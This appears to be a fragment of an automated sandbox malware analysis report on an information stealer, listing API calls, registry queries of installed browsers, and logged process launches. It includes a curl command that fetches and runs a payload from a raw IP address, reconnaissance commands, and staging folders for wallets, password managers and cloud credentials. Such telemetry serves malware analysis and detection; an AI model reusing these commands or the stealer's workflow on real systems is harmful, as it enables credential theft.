"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")35:T49e,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp")36:T4e4,Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "EnumWindowStations"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "EnumDesktopsW" (Indicator: "EnumDesktops"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp")37:T4b7,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")38:T7a4,Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006124.00000002.277688.F7740000.00000004.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API "54,6864,3024,,RtlGetVersion,NTDLL.dll,"01:11:23.718",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00006552.00000000.274161.9E150000.00000004.mdmp")39:T152b,"file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" at 00000000-00006548-00000C17-2955401709 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" at 00000000-00006548-00000C17-2955510332 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C" at 00000000-00006976-00000C17-2959437629 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0311672596129101B46B4E433A163DAFE1041BB6" at 00000000-00006976-00000C17-2959447976 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\040E74E71C45D91C46022EA4BEC836CA19AB6DE8" at 00000000-00006976-00000C17-2959453368 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D" at 00000000-00006976-00000C17-2959458594 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\044A925ADC491F971559A38B382FA7569E9E8137" at 00000000-00006976-00000C17-2959463815 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\047880D7EC2D2467D4622E814C9780F95A7A160F" at 00000000-00006976-00000C17-2959477587 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\048C0BA637EBDCC6986C557430C171C0FFEFB666" at 00000000-00006976-00000C17-2959627692 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\04F7615FBC29346C1C06F188DF08171608B148A0" at 00000000-00006976-00000C17-2959636213 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0505E39591E4B6D9940370D4300ABD03896C7EE9" at 00000000-00006976-00000C17-2959647240 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05250D893D6013CB681BC7B40EC3AB84090AC132" at 00000000-00006976-00000C17-2959654632 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05582FF5C196A4485F189490FEC9ECEA0890DA32" at 00000000-00006976-00000C17-2959660302 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE" at 00000000-00006976-00000C17-2959669692 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\060C63588F45B35E7341A8950BAB98961FAC3E03" at 00000000-00006976-00000C17-2959694612 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\065B135CB798BE21F556DAA7E21182BCA84B74AD" at 00000000-00006976-00000C17-2959701733 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8" at 00000000-00006976-00000C17-2959707933 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\07B3BF39C7822718F6EA5C627D7D92EEC198B2DB" at 00000000-00006976-00000C17-2959713789 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\07C90D62A7D3F8A43241091A4C2E6390C58578A2" at 00000000-00006976-00000C17-2959722208 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\08143EA1FC2948205C9E13E6ED5AA9AB4D2B0120" at 00000000-00006976-00000C17-2959757474 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\08339B2C8725AE0977C50D9DC59BC128E34AC049" at 00000000-00006976-00000C17-2959765782 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\08CDAAB5F3E7B7B54B4C3C07A397B42E961D6250" at 00000000-00006976-00000C17-2959771364 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0949C2D36A68EE7D9860C2B6188C640357AA14EB" at 00000000-00006976-00000C17-2959778411 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\09EA9480679B77D360A8E87461D69350EF4F6656" at 00000000-00006976-00000C17-2959783865 "uzbektajik.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0A88DF8400DBEA1482ECE530DA4E70E00DA66A41" at 00000000-00006976-00000C17-29597899673a:T60c,"helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\AVASTBROWSER.EXE") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AVAST SECURE BROWSER") "helper.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AVAST SECURE BROWSER") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\BRAVE.EXE") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRAVESOFTWARE BRAVE-BROWSER") "helper.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRAVESOFTWARE BRAVE-BROWSER") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME") "helper.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME") "helper.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME"; Key: "INSTALLLOCATION") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME BETA") "helper.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME BETA") "helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\*") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "powershell.exe" (Path: "HKLM\HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\*")3b:T9cf,"uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700 (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxinj_1792193633892748900 (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Firefox (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2 (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\doomed (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\Wallets (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\SensitiveFiles (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\HighValue (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxlss_1792194023545449700 (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\WindowsVault (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\VPN (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\PasswordManagers (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\EmailClients (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\CloudCredentials (UID: 00000000-00006976) "uzbektajik.exe" called "CreateDirectoryW" with parameter %TEMP%\rxclient_1792193633610221700\output\RemoteAccess (UID: 00000000-00006976)3c:T806,"file.exe" called "CreateProcessA" with parameter "curl.exe -s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o "%TEMP%\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" "https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7C6B3934E36B" - (UID: 00000000-00006548), "file.exe" called "CreateProcessA" with parameter "curl.exe -s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\jy1gj29sb6l8" "http://107.175.82.242:9000/wilow/uzbektajik.bin"" - (UID: 00000000-00006548), "file.exe" called "CreateProcessA" with parameter "%APPDATA%\uzbektajik.exe" - (UID: 00000000-00006548), "file.exe" called "CreateProcessA" with parameter "%APPDATA%\itsub.exe" - (UID: 00000000-00006548), "uzbektajik.exe" called "CreateProcessW" with parameter ""ipconfig" /all" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""%TEMP%\rxinj_1792193633892748900\helper.exe" -f all" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""tasklist"" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""whoami" /groups" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""powershell" -Command "netsh wlan show profiles"" - (UID: 00000000-00006976), "uzbektajik.exe" called "CreateProcessW" with parameter ""%TEMP%\rxlss_1792194023545449700\lss.exe"" - (UID: 00000000-00006976), "helper.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" - (UID: 00000000-00006700), "helper.exe" called "CreateProcessW" with parameter "%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" - (UID: 00000000-00006700), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\netsh.exe" wlan show profiles" - (UID: 00000000-00006552)3d:T61bc,"file.exe" called "LoadLibrary" with a parameter dbghelp.dll (UID: 00000000-00006548) "file.exe" called "LoadLibrary" with a parameter ntoskrnl.exe (UID: 00000000-00006548) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006700) "helper.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006700) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter 